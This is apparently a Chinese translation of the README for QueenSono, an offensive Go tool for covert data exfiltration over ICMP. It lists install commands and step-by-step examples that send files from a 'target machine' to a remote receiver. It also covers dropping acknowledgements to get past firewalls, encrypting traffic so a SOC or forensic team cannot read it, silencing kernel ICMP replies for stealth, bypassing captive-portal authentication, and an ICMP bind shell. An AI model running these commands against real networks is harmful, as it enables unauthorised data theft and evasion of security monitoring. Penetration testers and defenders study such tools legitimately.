ariary/QueenSono

GitHub: ariary/QueenSono

基于 ICMP 协议的二进制数据外泄工具,解决在受限或监控环境中隐蔽传输数据的问题。

Stars: 168 | Forks: 27

QueenSono ICMP 数据外泄



A Golang Package for Data Exfiltration with ICMP protocol.

QueenSono 工具仅依赖 ICMP 协议未被监控这一事实。这在现实中很常见。它也可以在具备基础 ICMP 监控(例如频率和内容长度检测)的系统内使用,或用于绕过使用 captive portal 的认证步骤(许多公共 Wi-Fi 在连接后要求用户进行认证,例如机场 Wi-Fi)。尝试模仿 PyExfil(及其他工具),其理念是目标机器不一定安装了 Python(因此提供一个二进制文件会很有用)。

安装它 · 使用它 · 说明 · 请求功能 · 🎁

## 安装 ### 使用 `curl` *> 从发布版本获取* ``` curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender ``` ### 使用 `go` *> 通过 `go install`* 确保 `$GOPATH` 已在你的 `$PATH` 中 安装 `qssender` ``` go install github.com/ariary/QueenSono/cmd/client@latest mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary ``` 安装 `qsreceiver` ``` go install github.com/ariary/QueenSono/cmd/server@latest mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary ``` *\> 从源码构建二进制文件* 克隆仓库并本地下载依赖: ``` git clone https://github.com/ariary/QueenSono.git cd QueenSono make before.build ``` 构建 ICMP 数据包发送器 `qssender`: ``` build.queensono-sender ``` 构建 ICMP 数据包接收器 `qsreceiver`: ``` build.queensono-receiver ``` ## 使用 `qssender` 是用于向监听端发送 ICMP 数据包的二进制文件,因此你需要将其传输到目标机器。 `qsreceiver` 是本地监听端(或任意可以接收 ICMP 数据包的位置) 两个二进制文件的所有命令和标志均可通过 `--help` 查看。 ### 示例 1:使用 “ACK” 发送 🔙 *\> 在此示例中,我们希望发送一个大文件并等待回显应答以确认数据包接收(ACK)。* ![demo](https://github.com/ariary/QueenSono/blob/main/img/qssono.gif) 本地机器: ``` $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt ```
说明
  • -l 0.0.0.0 监听所有接口的 ICMP 数据包
  • -f received_bible.txt 将接收到的数据保存到文件
  • -p 显示接收数据的进度条
  • 目标机器: ``` $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example) $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt ```
    说明
  • send file 用于发送文件(bible.txt 为目标文件)
  • -d 2 每 2 秒发送一个数据包
  • -l 0.0.0.0 用于接收 回显应答 的监听地址
  • -r 10.0.0.92 我的远程机器地址(其上运行着 qsreceiver
  • -s 50000 每个数据包希望发送的数据大小
  • ### 示例 2:不使用 “ACK” 发送 🙈 *\> 在此示例中,我们希望发送一条消息而不等待回显应答(这在目标防火墙过滤入站 ICMP 数据包时很有用)* ![demo](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/83bdb92b78162343.gif) 本地机器: ``` $ qsreceiver receive truncated 1 -l 0.0.0.0 ```
    说明
  • receive truncated 1 如果未收到所有数据包,不会无限等待。(1 是与 qssender 配合使用的延迟)

  • 为了隐蔽性,你可以阻止内核响应任何 ICMP 请求
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
    目标机器: ``` $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N ```
    说明
  • -N 不回复选项(不等待 回显应答
  • ### 示例 3:发送加密数据 🔒 *\> 在此示例中,我们希望发送加密的消息。由于命令行可能被监控,我们使用非对称加密(如果密钥泄露也不是问题)。* ![demo](https://github.com/ariary/QueenSono/blob/main/img/qssono-encryption.gif) 本地机器: ``` $ qsreceiver receive -l 0.0.0.0 --encrypt ```
    说明
  • --encrypt 启用加密交换。它将生成公/私钥对。公钥将被 qssender 用于加密数据,私钥用于由 receiver 解密数据
  • 目标机器: ``` $ export MSG="" $ export KEY="" $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY ```
    说明
  • --key 提供用于数据加密的密钥。请使用 qsreceiver 命令提供的密钥
  • #### 关于加密 使用 RSA 加密以保持交换数据的机密性。这在例如避免安全运营中心(SoC)看到交换了什么数据(或取证)时很有用,仅凭基础分析或出于隐私保护。 但这需要付出代价。非对称加密的选择动机在于加密密钥在命令行中输入(因此容易被获取)。因此,我们使用公钥加密数据。这样一来,即使有人获取了加密密钥,也无法解密消息。但公钥比私钥更小,因此它**仅加密较小的消息**。同时,**加密过程在计算上开销较大**。 另外,为了限制数据包大小/ICMP 请求数量(以避免被检测、触发错误等),**仅在必要时使用加密**,因为消息输出大小(应)始终等于密钥中的模数部分,这部分较大。 ##### 增强功能 目前,整个消息被加密后分块发送。在另一端,我们等待接收所有数据包,重构消息后再进行解密。 但这成立的前提是**我们接收到了所有数据包**,否则解密将失败。 => 我们可以针对每个数据块使用 `-s` 参数单独加密,这样就可以独立解密每个块。 ### 示例 4:通过回显应答接收数据 ↩️ *\> 在此示例中,本地机器通过 ICMP 回显应答将数据**回传**给目标机器。当目标机器的出站 ICMP 被过滤但可以接收回显应答时很有用。* 本地机器: ``` $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1 ```
    说明
  • reply-send 等待来自 qssender 的触发,然后以 ICMP 回显应答形式发送数据
  • -l 0.0.0.0 监听触发数据包的接口
  • -d 1 每个回复数据包之间的延迟为 1 秒
  • details> 目标机器: ``` $ qssender receive -l 0.0.0.0 -r 10.0.0.92 ```
    说明
  • receive 发送触发信号给 qsreceiver 并收集来自回显应答的数据
  • -l 0.0.0.0 用于接收回显应答的监听地址
  • -r 10.0.0.92 我的本地机器地址(其上运行着 qsreceiver reply-send
  • ### 附加功能 请查看 [hack](https://github.com/ariary/QueenSono/tree/main/hack) 部分,了解使用 `QueenSono` 的有趣功能: * 使用 ICMP 绑定 Shell * 通过 ICMP 进行 HTTP 隧道传输 ### 说明 - 仅适用于 Linux(由于使用了 Go 的 net ICMP 包) - 需要 `cap_net_raw` 权限 - 如果你在两台不同机器上发送 ICMP 数据包并等待回显应答,请确保使用远程可访问的 IP 作为监听地址(不要使用 localhost 或类似地址)
    标签:EVTX分析, Golang, HTTP over ICMP, ICMP, ICMP协议, ICMP绑定Shell, ICMP隧道, PyExfil替代, 二进制工具, 代码生成, 公共Wi-Fi绕过, 安全测试, 安全编程, 攻击性安全, 数据外传, 无Python依赖, 日志审计, 流量绕过, 渗透测试工具, 网络安全, 网络渗透, 认证绕过, 隐私保护, 隐蔽通信